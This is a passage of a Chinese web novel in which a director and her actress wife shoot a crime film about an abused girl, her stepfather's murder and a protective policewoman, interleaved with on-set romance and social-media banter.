现场正在忙碌的准备,黎数和演员们待在一起,偶尔抬起头能和陆嵬的目光相遇在一起。 按时间算,都是快十年的老夫老妻了,但这么多年头一次以导演和演员的身份在片场工作,黎数总觉得新鲜。 这种偷偷摸摸,明明在一起很久,但还要瞒着全世界的行为,总有种很难言喻的刺激。 黎数左右看看,捏着剧本走到了陆嵬身边。 附近没凳子,她就干脆蹲在那。 “陆导,还要多久开始啊?” 陆嵬从她来的时候就不太能专心了,给了个模糊的答案:“快了。” “好吧。”黎数点头,欲盖弥彰的说:“旁边演员让我来问的,那我们就继续等着了。” 黎数身上穿着戏里的衣服,简单的格子衬衫和灰色吊带,转身跑动时衬衫扬起,陆嵬嗅到点她身上的香气,刚刚被黎数握过的手轻轻合了下。 掌心里是黎数留下的一颗薄荷糖。 陆嵬轻笑一声,将薄荷糖拆开塞进嘴里。 耳机里传出现场的声音,可以准备拍摄,机位、演员都就位完毕。 陆嵬舌尖将糖拨向侧面,认真了点,看着镜头里的黎数,说:“action!” 季兇独自一人去领取了外婆的骨灰,但无处安葬,只能捧回了自己的家里。 她低着头,整个人靠右侧上楼,刚刚经过拐角时,忽然被一个熟悉的声音叫住了。 “小季?”女人的声音有些惊讶,“你住在这里?” 季兇抬头,发现眼前的人居然是在车站送她去医院的那位刑侦支队的队长。 一面之缘后就没能再见,留下的联系方式也不敢贸然打扰,没想到这么快居然又遇见了。 季兇很轻的眨了眨眼,搂紧了怀里的骨灰盒。 李云舒的目光不着痕迹的在那罐骨灰盒上一扫而过,笑着说:“好巧。” 季兇像是突然没了力气,用胳膊抵住墙,问她:“李警官,您刚搬过来吗?” 李云舒笑了,“是啊,这不正收拾着。” 说着,李云舒稍稍退后了些,门口留下的缝隙足够一个女人侧身过去。 季兇探头,很小心也很快的在室内一扫而过,露出了一个腼腆的微笑,轻轻的点了点头,“楼里有警察在,以后可以放心多了。” 李云舒在季兇身上扫过,没发现有新伤,不过也可能是藏在衣服下面,所以看不到。 “对了。”李云舒想起什么,“等我一下。” 她进了门,季兇目光就变空了。 她侧着头,盯着楼梯尽头的方向,只有一盏昏暗的灯,和堆在角落的杂物。 又听到了屋里传来的脚步声,季兇回神,又是一副乖巧的样子。 李云舒递给她了一盒糖,外面用礼盒包裹。 “前几天有同事结婚,去蹭的,我不爱吃糖,给你吧,味道不错。” 季兇接过,将礼盒放在鼻前轻轻嗅了嗅。 李云舒被她的动作弄得愣了下,还不等她反应过来,季兇就笑了,说:“谢谢警官,糖闻起来很甜。” 李云舒温和的笑了笑。 分开要上楼时,季兇的脚步又停了停。 她转过身,站在楼梯间的阴影里,看着李云舒已经弯下腰,在从屋里向楼外清理那些垃圾,忽然轻声说:“姐姐,旧楼里有坏人,你虽然是警察,但也要小心一点,关好门窗,睡觉把窗帘带上。” 不给李云舒反应的时间,季兇已经三两步跑上了楼- “最后这里再来一条,收拾一下现场,再补一个刚刚闻礼盒的镜头,太害羞了,表情不对。” 陆嵬忽然开口,对着喇叭喊,要轻松,愉快的,拐角处近景拉一下,拍脸部特写, 黎数应了声,走回刚刚的位置,重新向上跑。 背影又跑了三次才过,正 陆嵬喊了暂停,感觉对,想了想,自己走到了黎数身边。 “你理解的季兇是什么样子的?”陆嵬问她。 黎数皱眉想了想,“一个无害的小女孩。” 陆嵬哑然,片刻后笑了笑,说:“我想也是。” “以你的角度上去看季兇,会把小姑娘,但如果是以季兇自己的角度去看,自己,也不了解自己的。” 陆嵬说:“她的母亲需要依附,受不了背上‘寡妇’和‘克夫’的名头,所以哪怕明知道季兇的继父吃喝嫖赌抽全都占,但因为对方没结过婚,她还是嫁了。” 黎数皱了皱眉,‘嗯’了一声。 “站在你的角度上看,这是一个不幸的小女孩。”陆嵬轻声说,“但你不要忘了,季兇是杀害这个继父的凶手,她没有想象当中的那么无害。” 黎数抿了抿唇,顺着陆嵬的说辞开始深挖。 季兇成长在这样的环境里面,性格一定会受到影响。 从自己的视角上去看,季兇内向,害羞,腼腆,会把所有的情绪全部都藏在自己的心里。 然而这样的人,没有发泄渠道,长久下来,越压抑就越疯狂。 一旦有一个契机,她就会像是泄露的燃气遇到火星,炸个天翻地覆。 “她把李云舒当做是救赎。”陆嵬说:“一个长期生活在极其压抑的环境里,被继父殴打、偷窥,被母亲用亲情、外婆绑架,洗脑的女孩。在此之前,她只能靠着外婆的庇佑才能安全度日。” “而在外婆死后,母亲甚至要求她在成年后将自己‘献’给继父,以祈祷继父可以留下,不要和她离婚。这样的一个女孩,在面对一个真正意义上的代表‘正义’,代表‘干净’,对她关心、呵护备至的人时,她会是什么样的反应?” 陆嵬声音放轻:“这个人会在半夜听到动静就惊醒,去砸你们家的大门,把你接到自己家里住,会时不时给你在口袋里放一些糖果,会早起给你买完早饭,再匆匆蹬着自行车出门上班,帮你留意哪里有靠谱又能积攒经验的暑假兼职,会在发现你那些随便买来,并不合服贴身衣物以后,带你去买对你而言非常昂贵的内|衣……这样的人出现,季兇会是什么反应?” 她声音放轻,说:“或者说,当时的我,会是什么反应?” 黎数意识到了她对‘季兇’理解上的区别,很快就知道要怎么调整了。 不过黎数将睫毛抬起,一双眼看着陆嵬,不答反问:“什么反应?” 片场来来往往的到处都是人。 陆嵬没带耳机,没戴对讲,和黎数面对面,四周都是镜头。 但没有麦,说话的声音并不会被录到。 陆嵬察觉到了些什么,看着黎数的眼睛,轻声说:“想你救我,想你爱我,想让你认识最真实的我,又怕你会厌恶我。” 黎数唇角轻轻向上勾了勾,说:“然后呢?” “奢望你在知道一切后,还能继续爱我,哪怕是可怜我,我也要你一辈子都忘不掉。” 黎数的笑容加大,一手捏住了陆嵬手上的剧本一角,从外看上去像是在看剧本,实则只是为了拉近和陆嵬之间的距离。 呼吸扑洒到彼此的肌肤上,黎数笑着说:“姐姐知道,我会永远爱你。”- 这一次重拍的时候只调整了几个微小的细节和光影就过了。 费鹤鸣在旁边很不解,“你刚刚跟小黎说什么了?” 陆嵬反应了一会,矢口否认,“什么都没说。” “我之前还担心过,以小黎这个温和的性子,有可能演不出来季兇这种有点变态的性格。”费鹤鸣搓搓下巴,说:“没想到居然演的这么好。” 陆嵬表情古怪:“变态?” 费鹤鸣喝了口养生茶:“还不变态吗?我送你包茶叶,你回家会一脸陶醉的闻茶叶包吗?” 陆嵬:“……不会。” 费鹤鸣又问:“剧组开机的时候给你的衣服,你会回家闻完再抱着睡一宿吗?” 陆嵬:“……” 费鹤鸣继续发挥:“你会把我照片夹在剧本里偷偷看吗?” 陆嵬默默地捏紧了剧本,妄图遮住里面用来当书签,时不时会看两眼的黎数照片。 费鹤鸣咂摸一下,干嚼一片茶叶,还要继续说话,陆嵬不给她继续的机会,生硬的转移了话题,对着对讲说:“道具换一换,换好了继续!”- 拍摄按照计划继续进行。 季兇安顿好外婆,在家里暂时安顿了下来。 继父一个月里有半个月的时间在外面跟车,和另外一个工人轮换开车,所以不常在家。 上次回来时,他刚抢走了家里的积蓄出去跟车,起码有半个月的时间不会回来。 家里只有母亲在。 她从早到晚唠叨着让人厌烦的话,她无法离开男人,时代禁锢下的思想无法解救,在得知丈夫外面养了个年轻的小的,并且要把那女人带回了家时,这个女人的天塌了。 “你爸在外面找了小三。”季繁头发散乱着,双眼布满血丝,“他要把那女人带回来!” “你们要离婚吗。”季兇问她。 季繁摇头,抬起的脸上表情狰狞,“不行,我不能离婚,家里的男人有外遇,那证明是我无能,因为这个离婚,你妈我以后出去还怎么见人,我后半辈子还怎么活!” 季兇看着母亲花白的头发,沉默不语。 李兴只有四十多,但因为常年出车,所以看起来比实际年龄要大十几岁。 但母亲却实打实的已经六十多岁了。 上一段婚姻也没带给她什么好处,一个人养前夫全家,被磋磨的不成样子,可即便如此,她还是不能没有婚姻,也不能接受自己没有依附的对象。 季兇又低头看了看自己的手。 手上的指关节处也都是茧子,冬天年年会生冻疮。 她自己也没好到哪去,除了一张脸还能粗粗的看,其它地方没有一个地方可以见人。 于是季兇进了房间。 她没有注意到,在她离开后,季繁落在她单薄的脊背上的目光有了些许变化。 季繁知道李兴好色,有见不得人的癖好,比如偷邻居的内衣裤,或是晚上在邻居洗澡的时候偷窥。 因为这事,李兴被楼里的男人女人围堵过数次,都是她一家家的求着,那些人才愿意放过李兴一马。 可李兴为什么不记得她的付出呢? 多看看、多疼疼她,一家人的日子好好的过不可以吗? 她知道李兴就喜欢介于十几二十岁的青葱少女,男人没有不喜欢年轻小姑娘的,可她不是这个岁数的小女孩了。 她和李兴结婚的时候,她就已经快六十了。 ——可要怎么把李兴留下呢? 这个念头充斥着她的大脑,正巧这个时候,季兇出现了。 她忘不了李兴放肆、恶意、赤|裸毫不掩饰的目光落在季兇身上,她看到了李兴粗鄙的动作,看到了李兴眼里的恶念和贪欲。 ——是的,我有一个女儿。 季兇正年轻,是李兴最喜欢的年纪,她与李兴也没有血缘关系,她也只有我一个亲人,而我是她的亲生母亲。 所以我有权,也有资格要求女儿为了我妥协,这并不会损害她什么,只要女儿听话一点,这个家就不会散,这个家就会存在。 这样对女儿也好,起码有父亲,说出去她不会被欺负,等以后自己老了,女儿也能像她一样,有一个依靠。 李兴带着小三回到了家里。 他和小三、季繁同住一个房间。 一墙之隔,季兇听着隔壁的动静,和形容枯槁的季繁对坐,问她:“不恶心吗?” 季繁抬起那双如同死灰般的眼睛,哭的睁眼都难,瞳孔浑浊,向季兇请求,说:“帮帮妈妈。” 季兇看着女人和外婆有四五分相似的眉眼,半晌,说:“好啊。” 女人一愣,旋即脸上浮现出和她肿胀的眼眶极为不符的喜色- 不久后,平静的筒子楼里,忽然传出了一阵刺耳哄闹的动静。 吵闹、打斗、女人的尖叫,哭泣和讨饶的声音响彻了整个楼道。 一个女人头发散乱着,极其狼狈的跑了出来,惊恐的喊着:“救命!救命啊——杀人啦!!” 身后跟出去的,是手里拎着一把菜刀的季繁。 她状若疯癫,嘴里疯狂的喊着:“那是我自己女儿!关你什么事,关你什么事——!你这个出去卖的婊子,勾引我男人,我女儿你也要勾引,我是她老娘,她的事儿我说了算——!!” 楼道里不少人开了门,又极快的关上,生怕凶器伤到自己。 镜头一转,刚走到楼下的李云舒听到动静,只怔愣了片刻,和同事对视一眼,极快的上了楼。 几人将季繁制服,李云舒看了眼躲在角落瑟瑟发抖,面上遮不住惊恐的女人,问:“怎么回事?” 女人缓了许久才回过神。 极其恐惧过后就是极端的愤怒。 女人发着抖爬了起来,冲着地上的女人啐了口:“你算什么妈!看不住自己男人,就要把自己女儿给送出去给人糟蹋,你还要不要脸了,我下海的姐妹都没你丧尽天良!” 李云舒面色骤然一变。 听见女人这话的同事也都在极短的时间内明白了这话里的意思,留两人控制住季繁,其余几人跟着一起,反身极快的冲上了楼。 楼道里安静的诡异。 李云舒上了楼,目标明确的冲到了距离公共卫生间不远的那个屋子。 房门是开着的,外面星星点点的散落着许多的血迹,李云舒心里沉甸甸的。 直到推开大门的瞬间,她才终于松了口气。 女孩盘腿坐在墙角,身上带着伤,头发也被扯乱了,但衣服完好无损,脸上没什么表情,眼神甚至是平静的。 屋里酒气熏天,李兴倒在沙发上,不知道是睡了还是昏了。 “先起来。”李云舒脱下身上的警服,给季兇搭在身上,搀扶着她站了起来,而后给同事使了个眼色。 同事了然,上前架起李兴,“喝醉了,头儿。” 李云舒说:“带回去审。” 房门被重新锁上,李云舒把季兇带回了自己家。 “这段时间别回家住了。”李云舒说:“就住在我这,开学以后就好了。” “会好吗?”季兇抬起眼,长睫下是黝黑的瞳仁,“我有什么办法可以摆脱我后爸和亲妈呢?他们这样,算犯法吗?会被关起来吗?” 李云舒沉默了。 季兇身上青青紫紫的伤痕遍布,但李兴说到底也只是家暴,并且这种程度,连轻伤都够不上,而且一旦牵涉到家事,断起来就难了。 “会好的。”李云舒说:“等你毕业,等你可以工作,你就可以离开家,离开这里。” “在这之前,你可以一直住在我这。”李云舒说:“直到你自己想走的那一天,我跟你保证,警察从不撒谎骗人。” 李云舒半跪在季兇面前,以一个仰视的姿态望着面容白皙,但有着刺目伤痕的少女。 手被李云舒没怎么用力的握着,女人的房间和她想象中的一样,干净、整洁,没有多余的饰品,似乎只是一个睡觉的地方。 季兇听话的点了点头。 但就在李云舒转身给她准备洗漱用品的时候,忽然听到季兇说:“如果李兴死了,我和我妈妈以后是不是就可以解脱了?” 这话李云舒没法给出答案,水声遮掩下,季兇也没再追问,似乎是觉得李云舒没听到就算了,没什么再说一遍的必要。 然而谁都没想到,拘留了七天后,李兴被放出来回到家的第一天晚上就死了。 头身分离,死不瞑目。 临死前,他身边都还有一个变成碎片的酒瓶- 这场拍完后,饰演黎数父亲的演员就杀请了。 他戏份不多,后期出现最多的镜头就是被挂墙上。 他杀青的速度很快,拍摄完毕后,第一个月月底刚好离组。 离开前他发了条微博,说一共进组三十天,每天都拍的很刺激,不是在和摄像机互殴,就是在被真正的警察教导着,怎么演,才能才像是一个吃喝嫖赌全占的毒瘤。 而越是演,越是让一个正常人难以接受,称这三十天为黑色三十天,但话里话外都是感激,和赞叹剧组上上下下的专业,以及收获良多的感悟。 这个发言让《除凶》剧组又有了新的讨论度,影迷们开始猜测起相关的剧情来,可演员透露的内容也不算多,只能透过字里行间,猜出他饰演的是个反面角色。 同时开始有人在问:“不会结局又是阖家欢乐一家亲的结局吧?五毒俱全的反派但是心地善良并且改过自新……?你信我是秦始皇还是信他能是个好人?” 闲暇时陆嵬刷到了这条疑问。 想了想,回复了一条:【不是,恶人就是恶人,恶人的善也只是带着目的的利己的伪善。】 陆嵬的这条回复,让网友们对《真凶》的讨论愈加热烈了起来。 有人说陆嵬这话是在暗指顾宗年,因为在顾宗年进去以后,还是有零星几个死不悔改的‘圈内人’,说顾宗年也没有人们想象的那么坏,只是干了大多数人想干而不敢做的事情罢了。 结果当然是被骂的体无完肤,有几个还嫌弃话不投机半句多,宣布了退网。 但既然提起,必不可免的又提起了顾宗年事件的后续。 这件事情黎清那边的消息比较灵通,当年的火灾案件被重启,目前还一直在调查走程序当中。 “他的案件比较复杂,牵涉到的方面太广。”黎清电话里说:“特大的疑难案件,加上管辖权和上诉等等情况,有的会需要一两年。” 顿了顿,黎清透了个底,说:“包括抗诉和死刑复核。” 听到‘死刑复核’这四个字,黎数和陆嵬对视了一眼。 陆嵬说:“死刑太便宜他了。” 黎数颔首。 对顾宗年这种人,身败名裂后,还要活在毫无尊严可言的监狱、活在铺天盖地的谩骂里,反而是最痛苦的。 顾宗年全部财产被没收,更没有了东山再起的希望,即便出狱也会是被重点监管对象。 所有从前认识的亲朋好友都对他避之唯恐不及,最终成一个孤家寡人,老死病死都没人管。 曾经翻手为云,覆手为雨,一句话可以让一个演员被软性封杀的大导,未来会流落街头,乞丐都不如。 被野狗追,野猫咬,被不懂事的孩子丢石头、丢泥巴、丢垃圾,这才是顾宗年该得的下场。 正想着,黎数忽然发现陆嵬敲击屏幕的动作一直没停过,甚至还加快了。 “出什么事了?”黎数问。 今天收工的时候已经很晚了,两人刚洗过澡,正在被521逼着看舞法天女。 酒店的电视声音开的不大,521看的目不转睛,很乖一只坐在床尾的凳子上。 这个时间,陆嵬一般会去欺负521,然后把它赶到自己房间睡。 陆嵬头也不抬的说:“唔,没什么。回复了一些评论。” 但说着说着,膝盖在黎数的腿上轻轻蹭了蹭。 黎数挑了挑眉。 陆嵬话音刚落下,黎数自己的手机就震了震。 黎数打开看了眼,映入眼帘的是裘夏疯狂发送的感叹号。 【裘夏:姓陆的到底在干什么!她受什么刺激了!大半夜的不睡觉她在网上干什么啊?!】 后面紧随其后的就是一张张截图。 黎数伸手点开,发现是陆嵬回复的网友评论。 【请问陆导,我们数数在《除凶》剧组表现怎么样?】 【陆嵬:状态好极了。】 【陆导陆导,小黎有增重吗?裘总晒的小黎的照片好像瘦了很多。】 【陆嵬:刚刚圈了下,腰比之前细,拍戏需要又瘦了点,拍完会把她喂回来。】 【嗯?不是?圈了下?哪里?腰?腰比之前细?】 【喂回来?等等,导演还要负责把演员喂胖吗?】 【听说应华进组以后按照要求瘦了十几斤啊!陆导,看看我们名模呢?她也需要喂胖点啊?】 【不是,一开始陆嵬不是在回复网友关于顾宗年的事情吗?怎么回着回着转移片场了?】 【当然是大数据:猜您喜欢。】 …… 【裘夏:让她住嘴!住手!再说下去我明天要带着公关预定天台位了!】 【黎数:她也没说什么。】 裘夏反手又发出来了一张截图。 【裘夏:你还想让她说什么!让她说救救裘夏裘夏快死了吧!!】 【求看到,请问陆导最喜欢《除凶》剧组的哪一位演员呢?】 【陆嵬:这还用问?当然是黎数。】 【求看到求看到,请问陆总喜欢的是黎数,是身为演员的她,还是黎数本人呢?】 【陆嵬:都喜欢。】 第94章 第九十四章【VIP】 【沈凝雪点赞了这条评论】 【裘夏点赞了这条评论】 【裘夏取消点赞】 【沈凝雪取消点赞】 【沈凝雪点赞了这条评论】 【不er,闹呢,一会点赞一会取消,大眼你出bug了?@晚潮娱乐】 【晚潮娱乐:没有呢亲亲,经检测一切运转正常。】 【没再取消了,你们到底要干啥!怎么沈凝雪还点赞上,这合理吗了!】 【重点错了吧,《除凶》里面黎沈还是双女主呢,陆嵬还是导演呢,裘夏还是黎数经纪人呢!】 【上一次四人组的关系就没有后续,这次又出来了,你们四个到底是什么关系啊……!】 然而除非本人澄清,否则好奇的网友是一辈子都不可能知道这个问题的。 陆嵬审阅完毕所有评论,心满意足的退出。 这一通的放肆操作下来,黎数居然也没说她。 甚至陆嵬觉得,即便今天自己是真的公开了,黎数可能都不会生气。 莫名的,她现在就是有这个底气。 最后陆嵬点进和沈凝雪的对话框。 【陆嵬:裘夏又偷拿你手机自拍。】 【沈凝雪:[微笑]我现在还拿着。】 【陆嵬:那你在那赞来赞去的干什么?】 【沈凝雪:说来你可能不信,一开始手滑,后来想着与其被乱猜不如装作是晚潮娱乐出bug了。】 【陆嵬:哦,然后被晚潮光速打脸是吗。】 顶着沈凝雪头像的裘夏这次没再回复。 陆嵬小胜,轻哼一声,重新进入工作状态- 李兴死的时机不太凑巧。 每年暑假,季兇回家的原因,一方面是因为外婆年事已高,身体也不好。 另一方面,则是家乡习俗,夏日祭神,跳祛凶舞,带祛凶配饰,保佑来年风调雨顺,凶煞不侵,康健太平。 然而这个时节,正处台风季前。 往前一段是雨季,叠加上即将到来的台风季节,使得降雨量暴增,成为了降雨高峰期。 地上四处散落着炮竹炸过后的红纸,泡在污水里,起伏错落的草丛被大片大片的红纸覆盖。 硝烟散尽后,地面上是大片大片的红。 昼夜温差过大,清晨起了雾,很难分清到底是雾气还是未散干净的硝烟。 红纸褪下的艳色顺着水流,将肉眼可见的地面都染上了成片的红,大人们虔诚叩拜,稚童尖叫追逐。 李兴死的悄无声息。 还是七天仪式结束后,全城清扫,被闻到恶臭的市民发现的。 他的头身分离,分别被掩埋在了厚重的、已经被连日来的雨水、污泥凝结成的红色纸被下,腐败的很严重。 所有的证据,全部都被冲刷了个一干一净。 这是一场震惊了这个小城的恶性悬案。 “接下来的内容你做好拍摄的准备了?”费鹤鸣笑着打趣陆嵬。 本子是自己写的,陆嵬怎么可能没做好准备。 但她也说不出无所谓不在意之类的话,毕竟想起未来黎数的戏份,心里还是有点泛酸水,只点了点头。 费鹤鸣一生未婚,年纪大了以后,也早就已经忘记了,对于她而言,过于久远的爱情是个什么滋味了。 她也没有指导过自己爱的人去拍戏,更没有以一个导演的身份这么做过。 费鹤鸣有些好奇:“看着黎数饰演季兇,在戏里和李云舒慢慢慢慢的变得越来越亲昵,你是什么感觉?” 什么感觉? 带着这个问题,陆嵬忍了一段时间。 最终还是没想明白。 陆嵬没有回答费鹤鸣,某一天晚上回到酒店时,又夜闯了黎数房间。 黎数那会已经睡了。 元宝柔软的身体窝在她的颈侧,521睡在她的身边。 手心的触感冷不丁从一个微凉硬质的外壳,换成陆嵬柔软、温热的皮肤时,黎数就已经醒了。 人虽然醒了,但眼睛却困得睁不开。 黎数只沉沉的笑了笑,说:“你已经连续很多天闯到我房间来了。” 她说话的同时,手臂已经将挤到她怀里的陆嵬揽住了。 陆嵬在她唇上亲了亲,一声不吭的往她胸口藏,身体自发的向下滑,摆出一个两人都舒服的姿势。 没多会,就在黎数又一次快沉入梦乡的时候,陆嵬忽然说:“就想闯。” 听出,但又不像是愤怒,听着像是自己跟自己在赌气。 ,挣扎了下,还是睁开了眼睛。 陆嵬进来时没开灯,,但她的侧脸弧度起伏过于优越,,像是在发光。 黎数的声,“谁又让你不高兴了?” 陆嵬不吭声,毛茸茸的头在黎数的胸口晃晃,又搂她紧了一点。 陆嵬这几天热情的让人有点不太能吃得消。 前些天为了拍摄砍断李兴脖颈的那场戏,黎数挥着那把有十几斤的刀连着抡了上百次,左右手轮流开工,最终能采用的片段也不知道能有多少。 黎数的手还有些酸痛,拇指略无力的在陆嵬胳膊上按了按,说:“那让姐姐猜猜。” 陆嵬悄悄竖起耳朵尖。 “最近这段时间都是和沈总的日常戏。”黎数摆着指头算:“拍了有十几一十天了吧?” 陆嵬从喉咙里挤出来了一声哼哼。 黎数笑着说:“吃醋啦?” 陆嵬闷闷点点头,但很快又摇摇头。 她回想起黎数近段时间拍摄的内容。 筒子楼里的邻居们其实关系并不那么的好,也远远不像是年代剧环境下拍摄的那么的朴实无争。 多数人还是防备心理更*深,因为人员混杂,有能力买房的早就搬走了。 这些人虽然搬出去了,但住宿名额没被浪费,大多数人都把分到的屋子以极低的价格租了出去。 因为没有同乡同厂的情分,这个楼里分散着很多和李兴不对付的邻居。 在戏里也饰演模特的应华,和饰演季兇发小,但在初中分班后就不怎么再联系了的林辰星,又或是楼下小卖部漂亮的守寡老板娘等。 而这些人,无一例外,全都或多或少被李兴骚扰过,其家人也是不堪其扰的。 毕竟李兴除了好色外,还酗酒。 酗酒的人借酒生事,更知道这些楼里老实巴交的邻居不会对他怎么样,而只要不闹大,不伤人,警察都不会跟酒鬼一般见识。 时间长了,基本上也没人惹他,遇见了就远远的躲开,但背地里埋怨的声音不少。 甚至还有不少人都说,如果有一天真被李兴逼急了,说不定真跟他拼命之类的话。 而随着李兴死亡,明摆着的凶杀案件,却因为大雨的问题,将证据冲刷殆尽,调查一度陷入了僵局。 而在这期间,季兇一直都住在李云舒的房间。 季繁没来找过她,她也没有回去。 李云舒也没有开口让她离开过。 不光如此,李云舒对待季兇简直像是在照顾一个捧到手心的珍宝。 季兇刚住到李云舒那里的第一天当晚,李云舒就带着季兇去买了所有需要用到的物品。 季兇从高中开始就兼职做家教,外婆对她也很大方,遗产更是早就留给了她,所以她手里是有存款的。 但她手里从不留钱,一向是有多少就花多少,除非实在是没有什么想买的东西。 外婆给她的那部分,在外婆去世后存在了银行,一十年死期,谁都不能动。 花的全都是自己赚到的钱。 或许是故意补偿自己,她花销时毫无节制,加上去的也不是什么高端场所,很多的东西都是扫一眼价格标签,想要,就拿了。 第一次去超市时,季兇就买了足足三百多块钱的东西。 而千禧年那时,李云舒一个月的工资才不过370元。 但她只是在听到价格时愣了下,很快就拿出了身上的现金将钱付了。 还笑着对季兇说:“还好今天发了工资,不然还得去银行取钱,你一个人抱着东西在这等我,一定会很难熬。” 季兇当时的怔愣,和陆嵬曾经的反应一模一样。 时间虽然已经很久远了,但黎数记得还算是清楚。 也知道季兇和李云舒的很多剧情,其实陆嵬都是在复刻她们的曾经。 包括戏里李云舒给季兇付钱这一段。 闻言她笑了笑,轻轻抚摸着陆嵬柔软的长发,“好险,差一点当时就没办法给你付钱了。” 陆嵬轻声说:“一开始也没想让你付的,你那时候手里也没多少钱。” “那可不行。”黎数说:“你要和我一起住,我又大你那么多岁,本来就该我给你准备好所有的东西。” 很多的细节是当年的陆嵬注意不到的。 甚至是时隔多年后,在拍摄中,和导演、编剧沟通时发现、想起,然后才加入的。 比如黎数当年不声不响的自己承担了所有的家务,细致到铺床叠被、每一个垃圾桶里的垃圾袋,永远没有水渍的浴室台盆和每天都整洁如新的床单被罩。 两人同居后,黎数第一次进组时,陆嵬也第一次真正意义上的体会到了什么叫做一个人住。 从前的家不是她自己的家,保姆会定时去她房间打扫卫生,她也没有说不得权利,也不想麻烦沈凝雪一家人。 而和黎数同居后,她自己将那个家里视为自己和黎数才可以随时进入的领地,并不想让保姆过多干预。 所以那时候,陆嵬笨拙的开始一点点学习。 第一次知道外卖在夏天只几个小时的功夫就会发酸发臭,第一次意识到原来垃圾满了是需要每天都下去倒垃圾的,也是第一次意识到,床单被罩不是每天都会自动换新的。 说来有点可笑,但陆嵬是在和黎数在一起后,才真正意识到,原来生活是这样融入在了一点一滴之中的。 “你现在以自己的视角去演季兇。”陆嵬说:“季兇什么都会,但是在李云舒面前装作什么都不会。被李云舒惯得有了脾气,开始不再那么小心翼翼的活,你会觉得她做作吗?会觉得她得寸进尺、不知好歹吗?” 还是在用‘季兇’说自己。 黎数已经彻底醒了。 反应了一会,黎数说:“不会。” “每一次季兇的得寸进尺,都是一次小心翼翼的试探。” 黎数说:“她只是不敢相信这个世界上会有人对她这么好,她不知道怎么面对这种善意,也不知道要如何维系。” 陆嵬的头轻轻仰了起来。 黎数笑了笑,一只手轻轻抚着陆嵬的脖颈,和她在半空中接了个吻。 “在季兇还没学会这些之前,她就已经先学会了恐惧和患得患失,因为恐惧,才会一步步试探,试探李云舒的底线在哪里,试探她会不会被李云舒厌烦,被她弃之不顾。” 黎数的声音变轻了,捏了捏陆嵬的侧脸说:“我不知道李云舒是怎么想的,因为李云舒和我毕竟不同。但在当时的我看来,你那时候很可爱。” 像是一只没有感受到爱意的流浪小猫咪,骤然被一个觊觎它已久的人类抢回了自己的家。 陆嵬会像猫似的伸出爪子,一点点的去试探周遭的环境,去试探这个准备了温暖的床褥、可口的饭食,玩具……一切的人类。 “你那个时候……” 黎数忍着笑说:“可没我演出来的这么精明,季兇是故意试探,你……。” “你笨死了。”黎数说:“不过真的很可爱。” 花了一个小时才慢吞吞又认真严谨的铺完床单可爱,换了床单但不知道要随时洗床单,堆到一起,最后发现没有床单能换,只能站在地上和收工回到家的她面面相觑,羞窘的手足无措也很可爱。 不会做饭,但效仿电视剧里的神厨双刀齐下,把好端端的炒青菜变成了炒一坨黑绿色的焦炭,洗了三次澡都还是一身油烟味,委屈的蹲在角落里画圈也很可爱。 最后把锅和菜一起扔了,端着一盘简笔画青菜给她放桌子上,打开手机点外卖,一脸严肃的让她先望菜止饿也很可爱。 太多点了。 黎数笑着说:“对我来说,这是一次非常新鲜的体验,我可以以你当时的角度,去看待当年我们的感情,也可以多去理解你的心情。” 陆嵬问她:“真的是这么想的吗?” 黎数很坚定的说:“当然。” 陆嵬唇角的笑容藏不住了 连日来吃的飞醋都有了解释。 黎数演技好,能沉浸,那是黎数就是厉害。 可如果,她也是怀揣着想要更深一步体验曾经的自己的想法,并且完完全全没有一丝不适的话。 那就是黎数爱自己。 她想要,也能够了解自己。 忽然想起黎数说她笨。 陆嵬不死心的仰起头说:“当时真的很蠢吗?” 黎数昧着良心也说不出来一句“完全没有”。 迟疑了下,还是说:“一点点,很少一点点,都被你的可爱和认真取代了。” 第95章 第九十五章【VIP】 片场,所有人都在紧锣密鼓的筹备着。 陆嵬有点瞌睡,往眼睛里滴眼药水。 她昨晚就睡了两个小时不到,事实上这种睡眠时间已经持续了挺长时间了。 剧组已经搬到了八越市有一段时间,雨水和潮气弥漫,521和元宝虽然跟来了,但大多数时间都只在酒店里面玩。 今天好不容易雨停,又凉快了些,空气没有那么沉闷,不会对内部机械零件造成损伤,521给自己开了除湿系统,带着元宝出了门。 见陆嵬在滴眼药水,521眨眨眼睛,“你为什么不喝咖啡了呀?” “我老婆不让我喝。”陆嵬想起521不久前那句‘你妈’,顿了顿,补充说:“我老婆就是黎数。” “我知道,我又不是傻子。”521不高兴的说,“小黎为什么不让你喝呀?” “倒也没什么。”陆嵬摆摆手,很不经意的说:“她担心咖啡对我心脏不好。” “哦。”521的脑袋小狗似的歪了歪,举起右手,电光在白天里都清晰可见,“你如果困的话,那我也可以帮你电击一下,这样你就不困了。” 没电,但陆嵬也比刚刚清醒得多。 她面无表情的看着521,说:“小心今晚我让你睡走廊。” 521怕黑,也怕自己一个人,闻言很不高兴的噘嘴。 临近开拍了,陆嵬没时间再和521继续贫嘴,想了想说:“你去找裘夏……你去欺负裘夏去吧。” 521屏幕上贼光一闪,“怎么说?” 陆嵬笑笑,“你去了就知道了。” 521打着裘夏的电话就跑了- 521走后,陆嵬拿出手机,沉吟了下,点开了裘夏的对话框。 【陆嵬:1。】 【裘夏:?】 【陆嵬:[图片]】 【裘夏:一个嗦过的破棒棒糖有什么好发的?】 【陆嵬:凝雪姐送我老婆的,我从我老婆嘴里抢过来的。】 【裘夏:?】 【陆嵬:嘻嘻。】 【陆嵬:又吵架了?】 【裘夏:没吵架,她单方面冷暴力我。】 【陆嵬:哦,正常,她入戏以后会冷暴力全世界。】 【裘夏:那怎么黎数不冷暴力全世界,不冷暴力你啊!】 【裘夏:别以为我没看见,你这几天白天都是从她房间溜出来的!】 【陆嵬:?】 【陆嵬:你在说什么废话?】 【陆嵬:当然是因为我老婆爱我。】 【陆嵬:我老婆没我睡不着。】 【裘夏:你要点脸,我的朋友。】 【陆嵬:反正我老婆从来不冷暴力我,她只会心疼我还会哄我。】 【裘夏:?差不多行了。】 陆嵬挑眉,把那颗蓝莓味的棒棒糖重新塞嘴里。 味道其实一般般,棒棒糖这种东西对她而言过于甜了,但从黎数嘴边抢过来的就是很好吃。 手机又震了震。 陆嵬低头,发现又是裘夏发给她的信息。 【裘夏:我刚刚也找我老婆要了一个。你猜怎么着,我在回放上看见你手里那个糖是我老婆在戏里喂黎数的。】 陆嵬:“……” 【裘夏:你导的戏,你写的本子,你拍的内容。】 【裘夏:醋不死你,呸。】- 一场恶劣的凶杀案让这个老旧的小楼像是被按下了静音键。 往日的嘈杂不复,所有人都低头低语,生怕自己会是那个杀人凶手下一个盯上的目标。 